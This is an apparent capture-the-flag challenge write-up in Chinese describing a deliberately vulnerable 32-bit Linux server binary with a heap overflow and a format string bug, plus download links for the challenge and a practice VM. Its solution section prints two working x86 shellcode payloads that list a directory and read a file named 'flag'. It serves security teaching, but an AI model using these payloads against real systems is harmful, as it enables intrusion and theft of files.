設計此題的動機是想要讓參賽的學生,學習如何利用code review(逆向工程)的方式找出存在弱點的程式碼,並且撰寫Exploit去利用此弱點,並獲取題目的flag。
一、題目下載連結
https://drive.google.com/file/d/1gPwiAusfQoY81U58pOliqOZ1IAmwWRw2/view?usp=sharing
二、題目說明
題目的壓縮檔會有三個檔案,其中databases是主程式,ld.so(建立ld-linux.so.2的連結)和libc.so(建立libc.so.6的連結)是修改過的Library,需要將Library的連結建立在自己的環境,才會跟伺服端的一樣。
libc.so修改了heap相關的API讓以前的弱點被啟用。
三、虛擬機下載連結
https://drive.google.com/file/d/1eU-JLLg1TYsI3EA0uHISsHozpzy6Nle1/view?usp=sharing
四、虛擬機說明
此虛擬機是CentOS 6.0,裡面的環境都設定好了,只要開機就能運作弱點程式(10000 Port),root密碼是123456。
五、弱點說明
題目的設計總共有2個主要弱點Heap overflow和Format string vulnerability,需要利用這些弱點來獲取伺服端的Flag。
六、防護說明
1. ASLR (Address space layout randomization): kernel.randomize_va_space = 2
2. 伺服端有hook_execve2.ko防護程式,防止被參賽者開shell,只能讀取資料夾和檔案。
七、解答
解題程式碼下載連結:
1.讀取資料夾內容的shellcode
"\xeb\x0b\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc9\xf7\xe1\x51\xb0\x2e\x50\xb0\x05\x89\xe3\xcd\x80\x93\xb2\xff\x29\xd4\x89\xe1\x31\xc0\xb0\x8d\xcd\x80\x31\xdb\x43\x89\xe1\x31\xc0\xb0\x04\xcd\x80\x31\xc0"
在終端上顯示資料夾,有些字元可能會亂碼,使用Wireshark檢視,就不會有此問題。
2.讀取flag檔案的shellcode
"\xeb\x0b\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc9\xf7\xe1\xb0\x05\x51\x68\x66\x6c\x61\x67\x89\xe3\xcd\x80\x93\x91\xb0\x03\x66\xba\xff\x0f\x42\xcd\x80\x92\xb3\x01\x31\xc0\xb0\x04\xcd\x80\x93\xcd\x80"